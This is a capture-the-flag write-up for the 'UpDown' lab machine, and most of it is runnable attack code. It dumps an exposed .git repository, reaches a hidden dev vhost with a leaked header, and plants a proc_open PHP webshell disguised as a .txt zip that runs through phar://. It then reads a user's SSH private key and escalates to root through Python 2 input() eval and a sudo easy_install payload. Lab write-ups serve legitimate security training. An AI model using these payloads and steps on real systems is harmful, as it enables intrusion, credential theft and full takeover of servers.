UpDown
An exposed .git directory leaks an .htaccess rule requiring a custom Special-Dev header to reach a dev vhost whose file upload accepted zip-inside-.txt archives executable via the phar:// PHP stream wrapper, giving RCE as www-data and eventually root via a SUID Python2 binary and sudo easy_install.
Overview
UpDown is a medium-difficulty Linux machine. Enumeration reveals an exposed .git repository on the main site that leaks a secret .htaccess rule; following those breadcrumbs to a dev vhost exposes a file upload vulnerable to phar:// PHP stream wrapper abuse — a PHP shell hidden inside a zip renamed .txt executes as www-data. From there, the developer’s unprotected SSH private key is read via proc_open, providing SSH access, and root is reached through a SUID Python 2 binary whose input() call evaluates arbitrary expressions, with sudo easy_install as a backup GTFOBins path.
Machine Matrix
High Enumeration and Real-Life axes reflect multi-layer vhost and source-code discovery against misconfigurations that are common in real production deployments; the non-zero CTF-like score reflects the phar:// race condition trick and the Python 2 input() eval path.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH | Remote access |
| 80/tcp | Apache httpd | siteisup.htb — site availability checker |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,80 -sC -sV -Pn 10.10.10.X
Port 80 hosts a simple site-availability checker at siteisup.htb; the .git directory being web-accessible is the critical finding that unlocks the entire chain.
Enumeration
Add the discovered hostnames to /etc/hosts first:
1
echo "10.10.11.177 siteisup.htb dev.siteisup.htb" >> /etc/hosts
Probe for an exposed .git directory on the main vhost:
1
curl -s http://siteisup.htb/.git/HEAD
The response ref: refs/heads/main confirms the .git directory is publicly accessible (CWE-200). Dump the full repository:
1
git-dumper http://siteisup.htb/.git/ ./dump
Read the .htaccess from the dumped source:
1
cat dump/.htaccess
The .htaccess contains a SetEnvIfNoCase Special-Dev "only4dev" Required_Header directive gating access to dev.siteisup.htb. Confirm the dev vhost is reachable with the required header:
1
curl -H "Special-Dev: only4dev" http://dev.siteisup.htb/
The dev vhost exposes a file upload feature. Reading the dumped PHP source shows it blacklists common executable extensions (.php, .php3, etc.) but does not validate file contents — .txt files are accepted without inspection.
Foothold
Create a PHP webshell using proc_open (the un-blocked execution function) and package it inside a zip archive:
1
2
3
4
5
6
7
8
cat > shell.php << 'PHPEOF'
<?php
$d=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$p=proc_open($_REQUEST["cmd"],$d,$pipes);
echo stream_get_contents($pipes[1]);
proc_close($p);
?>
PHPEOF
1
zip shell.zip shell.php
1
mv shell.zip shell.txt
Upload the renamed archive to the dev vhost:
1
curl -H "Special-Dev: only4dev" -F "[email protected]" http://dev.siteisup.htb/
The upload directory is named after md5(time()) — capture the hash from the response or brute-force it by timestamp. Then trigger execution via phar:// path traversal (PHP treats phar:// as a stream wrapper that extracts and executes PHP found inside a zip, regardless of the .txt extension):
1
2
3
UPLOAD_HASH="<md5_from_response>"
curl -H "Special-Dev: only4dev" \
"http://dev.siteisup.htb/?page=phar://uploads/${UPLOAD_HASH}/shell.txt/shell&cmd=id"
Successful output (uid=33(www-data)) confirms RCE as www-data.
User flag
The developer’s SSH directory is readable by www-data (CWE-284). Exfiltrate the private key:
1
2
curl -H "Special-Dev: only4dev" \
"http://dev.siteisup.htb/?page=phar://uploads/${UPLOAD_HASH}/shell.txt/shell&cmd=cat+/home/developer/.ssh/id_rsa"
Save the key locally and SSH in as developer:
1
2
chmod 600 /tmp/developer_rsa
ssh -i /tmp/developer_rsa [email protected]
Retrieve the user flag:
1
cat ~/user.txt # HTB{...}
Landed as developer via the exfiltrated SSH key and the user flag is ours.
Privilege Escalation
Check for SUID binaries and sudo permissions:
1
find / -perm -4000 -type f 2>/dev/null
1
sudo -l
Two paths to root are available:
Path A — SUID Python2 input() eval (CWE-78, CWE-676):
/usr/local/bin/siteisup is a SUID binary compiled from Python 2 that calls input(). In Python 2, input() evaluates its argument as a Python expression — this is code injection by language design. Inject an OS command:
1
echo "__import__('os').system('id')" | /usr/local/bin/siteisup
Path B — sudo easy_install GTFOBins (CWE-269):
sudo -l shows (ALL) NOPASSWD: /usr/local/bin/easy_install. Since easy_install executes a setup.py file as root, this is equivalent to sudo python. Use a temp directory to deliver the payload:
1
TF=$(mktemp -d)
1
2
3
4
5
cat > $TF/setup.py << 'PYEOF'
import os
os.system("cat /root/root.txt > /tmp/rootflag")
os.system("chmod 644 /tmp/rootflag")
PYEOF
1
sudo easy_install $TF
Root flag
1
cat /tmp/rootflag # HTB{...}
(Or via the SUID path: echo "__import__('os').system('cat /root/root.txt')" | /usr/local/bin/siteisup)
Full root compromise achieved via sudo easy_install executing arbitrary Python as root — UpDown is fully pwned.